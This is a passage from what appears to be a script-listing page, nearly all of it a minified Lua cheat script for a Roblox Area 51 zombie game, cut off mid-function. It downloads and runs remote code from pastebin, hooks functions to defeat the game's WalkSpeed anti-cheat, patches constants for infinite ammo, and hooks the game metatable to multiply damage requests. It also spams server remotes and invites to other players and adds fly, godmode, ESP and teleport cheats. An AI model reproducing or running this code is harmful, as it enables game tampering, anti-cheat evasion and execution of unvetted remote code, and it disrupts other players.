117 skills found · Page 4 of 4
Pa1ntex / Classic Gui Saktkia51 Script Op local b=game:GetService("Players")local c=game:GetService("ReplicatedStorage")local d=game:GetService("StarterGui")local e=game:GetService("RunService")local f=game:GetService("StarterPlayer")local g=game:GetService("TestService")local h=game:GetService("VirtualUser")local i=game:GetService("TweenService")local j=game:GetService("UserInputService")local k=game:GetService("Players").LocalPlayer;local l=game.Workspace.CurrentCamera;local m=loadstring(game:HttpGet("https://api.irisapp.ca/Scripts/IrisBetterNotifications.lua"))()local n=loadstring(game:HttpGet("https://pastebin.com/raw/en4Ma7jr"))()local o="BloodTheme"local p=get_thread_context or get_thread_identity or getidentity or syn_context_get;getgenv().syn_context_get=newcclosure(function(...)return p(...)end)if game.PlaceId==2092166489 then function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)m.Notify("Survive and Kill the Killers UI","Loaded","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})local x=n.CreateLib("Classic Mode UI",o)local y=x:NewTab("Autofarm:")local z=y:NewSection("Enable/Disable Autofarm")local function A()local B=workspace.CurrentCamera;local C=k.Character;local D=k;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end end;local function J()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.StarterGear end end;for K,v in pairs(game:GetService("Players").LocalPlayer.StarterGear:GetChildren())do if v:IsA("Tool")then v.Parent=game.Players.LocalPlayer.Backpack end end end;local function L()for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end;local function N()for K,v in pairs(game:GetService("Workspace").AREA51.SewerCaptainRoom["Captain Zombie Feeder"].Cage:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end;local function O()local P=k.Character.HumanoidRootPart;function GetWepons(Q)firetouchinterest(P,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end;z:NewToggle("//Autofarm \\","Enables Autofarm for SAKTK",function(R)if R then n:ToggleUI()m.Notify("Enabled Autofarm","Press F to Enable the SAKTK UI to disable autofarm.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})L()N()O()k.CameraMode=Enum.CameraMode.LockFirstPerson;for K,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k.Character end end;game:GetService("StarterGui").TailsPopup.Enabled=false;game:GetService("Players").LocalPlayer.PlayerGui.TailsPopup.Enabled=false;game:GetService("Workspace").Killers:FindFirstChild("Giant"):Destroy()for K,v in pairs(game.Workspace.Killers:GetChildren())do if v:IsA("Model")then repeat wait()mouse1press()l.CoordinateFrame=CFrame.new(l.CoordinateFrame.p,v.Head.CFrame.p)k.Character.HumanoidRootPart.CFrame=v.Head.CFrame+v.Head.CFrame.lookVector*-5 until v.Zombie.Health==0;wait()end end else workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end)z:NewToggle("Fullbright","Makes the game bright",function(R)m.Notify("Fullbright","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then game:GetService("Lighting").Brightness=2;game:GetService("Lighting").ClockTime=14;game:GetService("Lighting").FogEnd=100000;game:GetService("Lighting").GlobalShadows=false;game:GetService("Lighting").OutdoorAmbient=Color3.fromRGB(128,128,128)else m.Notify("Fullbright","Disabled","http://www.roblox.com/asset/?id=261113606",{Duration=4,Main={Rounding=true}})origsettings={abt=game:GetService("Lighting").Ambient,oabt=game:GetService("Lighting").OutdoorAmbient,brt=game:GetService("Lighting").Brightness,time=game:GetService("Lighting").ClockTime,fe=game:GetService("Lighting").FogEnd,fs=game:GetService("Lighting").FogStart,gs=game:GetService("Lighting").GlobalShadows}game:GetService("Lighting").Ambient=origsettings.abt;game:GetService("Lighting").OutdoorAmbient=origsettings.oabt;game:GetService("Lighting").Brightness=origsettings.brt;game:GetService("Lighting").ClockTime=origsettings;game:GetService("Lighting").FogEnd=200;game:GetService("Lighting").FogStart=20;game:GetService("Lighting").FogColor=191,191,191;game:GetService("Lighting").GlobalShadows=origsettings.gs end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else print("ok")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)z:NewToggle("GodMode","Gives you Godmode",function(R)m.Notify("Godmode","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then local B=workspace.CurrentCamera;local C=game.Players.LocalPlayer.Character;local D=game.Players.LocalPlayer;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;H.Health=H.MaxHealth else game:GetService("TeleportService"):Teleport(game.PlaceId,game.Players.LocalPlayer)end end)z:NewButton("Unlock all Secrets","Unlocks all the secrets in the game",function()O()firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,game:GetService("Workspace").AREA51.RadioactiveArea.GiantZombieRoom.GiantZombieEngine.Close.Door2,0)function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game:GetService("Workspace"):GetDescendants())do if v:IsA("Part")and v.Name:match("Paper")or v.Name:match("Reward")then GetWepons(v)end end;for K,v in pairs(game:GetService("Workspace"):GetDescendants())do if v:IsA("Part")and v.Name:match("TheButton")then GetWepons(v)end end;firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,game:GetService("Workspace").AREA51.PlantRoom["Box of Shells"].Box,0)wait(0.2)local a1=k.Character.HumanoidRootPart.CFrame;k.Character.HumanoidRootPart.CFrame=CFrame.new(game:GetService("Workspace").AREA51.ExecutionRoom.Reward.Position)wait(0.2)game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer("M14")k.CFrame=CFrame.new(326.773315,511.5,392.70932,0.982705772,0,-0.185173988,0,1,0,0.185173988,0,0.982705772)end)z:NewButton("Get all Badges","Gives almost every badge.",function()O()firetouchinterest(a,game:GetService("Workspace").AREA51.SecretPath6.Reward)for a2,v in pairs(game:GetService("Workspace").AREA51.Badges:GetDescendants())do if v:IsA("TouchTransmitter")and v.Parent:IsA("Part")then firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,v.Parent,0)wait()firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,v.Parent,1)end end end)z:NewButton("Get Gamepasses","Tries to give you gamepasses.",function()game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=25;O()game.Players.LocalPlayer.Character.Humanoid.Died:Connect(function()wait(8)game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=25;O()J()end)end)z:NewButton("Get Code for Door","Please walk after clicking this.",function()m.Notify("Get Code","Enabled Please walk forward the first number is the first numeral for the door.","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})for a2,v in pairs(game:GetService("Workspace").AREA51.CodeModel:GetDescendants())do if v:IsA("Part")then wait(.33)v.CFrame=game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame end end end)local y=x:NewTab("Gun Cheats:")local z=y:NewSection("Rainbow Weapons")z:NewButton("Get all Weapons","Gives you every weapon in-game",function()function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end)z:NewButton("Infinite-Ammo","Gives you Infinite Ammo for your weaponary",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One shot Killers","Gives you more Damage on Killers",function()local a8={repeatamount=100,inclusions={"Missile Touch","Fired"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)local function ab(ac)for K,a7 in next,a8.inclusions do if ac.Name==a7 then return true end end;return false end;a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()if ae=="FireServer"or ae=="InvokeServer"and ab(ac)then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("PAP Weapons:")local z=y:NewSection("Select Weapon to Pack a Punch")local a9=getrawmetatable(game)local aa=a9.__index;setreadonly(a9,false)a9.__index=newcclosure(function(self,af)if tostring(self)=='Busy'and af=='Value'then return false end;return aa(self,af)end)setreadonly(a9,true)z:NewToggle("PAP All Weapons","PAP all your weapons in your inventory.",function(R)m.Notify("PAP All","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then _G.papAll=true;while wait(5)do if _G.papAll==true then for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(v.Name)end end end else _G.papAll=false end end)z:NewDropdown("PAP Weapon","DropdownInf",{"M1911","RayGun","MP5k","R870","M4A1","AK-47","M1014","Desert Eagle","SVD","M16A2/M203","M14","G36C","AWP","Crossbow","Desert Eagle"},function(ag)m.Notify("PAP..",ag,"http://www.roblox.com/asset/?id=5502174644",{Duration=4,Main={Rounding=true}})game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(ag)end)local y=x:NewTab("Doors AREA51:")local z=y:NewSection("Open/Close Doors")z:NewToggle("Spam Open Doors","Spam Opens the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewToggle("Spam Close Doors","Spam Closes the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewButton("Open Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end)z:NewButton("Close Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end)local y=x:NewTab("ESP:")local z=y:NewSection("ESP for Player/Killers")z:NewToggle("Player ESP","Enables Player-ESP for Players",function(R)if R then _G.on=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.8 end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Humanoid")and v.Parent.Name=="Characters to kill"and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.on==false else _G.on=false;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)z:NewToggle("Killer ESP","Enables Killer-ESP for Killers",function(R)if R then _G.lol=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0;a5.Color=BrickColor.new("Bright red")end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Zombie")and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.lol==false else _G.lol=false;for K,v in pairs(game.Workspace.Killers:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)local y=x:NewTab("Teleports:")local z=y:NewSection("Teleports")z:NewDropdown("Weapon Teleports","DropdownInf",{"M14","RILG","R870","CLT1","SBG","SVD","Code-Door"},function(ag)local hum=k.Character.HumanoidRootPart;local aj=hum.CFrame;if ag=="M14"then hum.CFrame=CFrame.new(106.981911,323.620026,678.865051,0.108975291,-4.31107949e-08,0.994044483,-5.13666043e-09,1,4.39322072e-08,-0.994044483,-9.89359261e-09,0.108975291)wait(.2)hum.CFrame=CFrame.new(aj)elseif ag=="RILG"then hum.CFrame=CFrame.new(232.505737,373.660004,45.4774323,-0.999948323,-2.07754458e-09,0.0101688765,-3.00104475e-09,1,-9.08010804e-08,-0.0101688765,-9.08269016e-08,-0.999948323)elseif ag=="R870"then hum.CFrame=CFrame.new(143.435638,333.659973,499.670258,0.068527095,6.73678642e-08,-0.997649252,2.92282767e-08,1,6.95342521e-08,0.997649252,-3.39245503e-08,0.068527095)elseif ag=="CLT1"then hum.CFrame=CFrame.new(60.6713562,291.579956,262.712402,-0.0193858538,1.378409e-07,0.999812067,1.73167649e-08,1,-1.37531046e-07,-0.999812067,1.46473536e-08,-0.0193858538)elseif ag=="SBG"then hum.CFrame=CFrame.new(3.0812099,267.780121,184.758041,-0.998869121,3.20666018e-08,-0.0475441888,3.84712493e-08,1,-1.33794302e-07,0.0475441888,-1.35472078e-07,-0.998869121)elseif ag=="SVD"then hum.CFrame=CFrame.new(181.740906,306.660126,179.980011,-0.977237761,-295549789e-08,0.212145314,-3.5164706e-08,1,-2.25858496e-08,-0.212145314,-2.95278366e-08,-0.977237761)elseif ag=="blRU"then hum.CFrame=CFrame.new(19.2511063,313.500336,204.38269,0.113481902,7.8155864e08,0.993540049,-2.13239897e-08,1,-7.62284031e-08,-0.993540049,-1.25357014e-08,0.113481902)end end)z:NewDropdown("Teleport to Room","DropdownInf",{"Cafe-Room","Cartons-Room","Code-Door","Computers-Room","Corridor-to-Meeting-Room","Electricity-Room","Emergency-Hole-Down-To-Area","Entrance-To-Area","Main-Room","Entrance"},function(ag)if ag=="Cafe-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CafeRoom.Tables.Table.Table.Model.Part.CFrame elseif ag=="Cartons-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(149.739914,313.500458,194.231888,0.442422092,6.81004985e-06,-0.896806836,1.24363009e-06,1,8.20718469e-06,0.896806836,-4.74633543e-06,0.442422092)elseif ag=="Code-Door"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CodeDoorRoom.CodeDoor.Door.CFrame elseif ag=="Computers-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(219.700012,310,370.399994,-1,0,0,0,1,0,0,0,-1)elseif ag=="Corridor-to-Meeting-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CorridorToMeetingRoom.Part.CFrame elseif ag=="Electricity-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.ElectricityRoom.Generator1.Base.CFrame elseif ag=="Emergency-Hole-Down-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EmercencyHoleDownToArea.Part.CFrame elseif ag=="Entrance-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EntranceOfArea.Part.CFrame elseif ag=="Main-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.MainRoom.Part.CFrame elseif ag=="Entrance"then hum.CFrame=CFrame.new(327.317322,511.5,397.900269,1,-2.05416537e-08,-2.7642145e-15,2.05416537e-08,1,1.25194637e-08,2.50704388e-15,-1.25194637e-08,1)elseif ag=="Code-Door"then game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CodeDoorRoom.CodeDoor.Enter end end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)z:NewButton("Area-51 Storming","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(3508248007,k)end)elseif game.PlaceId==155382109 then local o="BloodTheme"local x=n.CreateLib("Main Menu UI",o)local y=x:NewTab("Main:")local z=y:NewSection("You're currently in the main menu.")z:NewTextBox("Enter Username","Enter Name.",function(ak)_G.getText=ak end)z:NewToggle("Spam-Send-Invites","Automatically sends a invite every 5 seconds.",function(R)if R then _G.autoSend=true;while wait()do if _G.autoSend==true then if _G.getText==""then m.Notify("Please enter a Username.","","http://www.roblox.com/asset/?id=261113606",{Duration=9,Main={Rounding=true}})end;local ad={[1]=game:GetService("Players")[_G.getText]}game:GetService("ReplicatedStorage").BossRushFunctions.RequestJoin:InvokeServer(unpack(ad))end end else _G.autoSend=false end end)z:NewButton("Spam Join Storming","Spam Joins and Leaves Storming",function()_G.spam=true;while wait()do if _G.spam==true then game:GetService("ReplicatedStorage").StormingEvents.JoinRequested:FireServer()wait(.1)game:GetService("ReplicatedStorage").StormingEvents.LeaveRequested:FireServer()end end end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)z:NewButton("Area-51 Storming","Click on this button to join the game.",function()game:GetService("ReplicatedStorage").StormingEvents.JoinRequested:FireServer()end)elseif game.PlaceId==6054929905 then local o="BloodTheme"local x=n.CreateLib("Boss Rush Mode UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Main:")local z=y:NewSection("")z:NewToggle("Autofarm Boss:","Enables Autofarm for Killers",function(R)if R then m.Notify("Enabled Autofarm for Boss","This is buggy.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})local l=game.Workspace.CurrentCamera;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end;_G.autoFarm=true;while wait(0.5)do if _G.autoFarm==true then for a2,v in pairs(game:GetService("Workspace").AREA51.Map.Boss:GetChildren())do if v:IsA("Part")and v.BrickColor==BrickColor.new("New Yeller")then game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=v.CFrame end end;for a2,v in pairs(game:GetService("Workspace").AREA51.Map.Boss:GetChildren())do if v:IsA("Part")and v.BrickColor==BrickColor.new("Really red")then game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=v.CFrame end end end end else G.autoFarm=false;workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end)z:NewToggle("Fullbright","Makes the game bright",function(R)m.Notify("Fullbright","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then game:GetService("Lighting").Brightness=2;game:GetService("Lighting").ClockTime=14;game:GetService("Lighting").FogEnd=100000;game:GetService("Lighting").GlobalShadows=false;game:GetService("Lighting").OutdoorAmbient=Color3.fromRGB(128,128,128)else 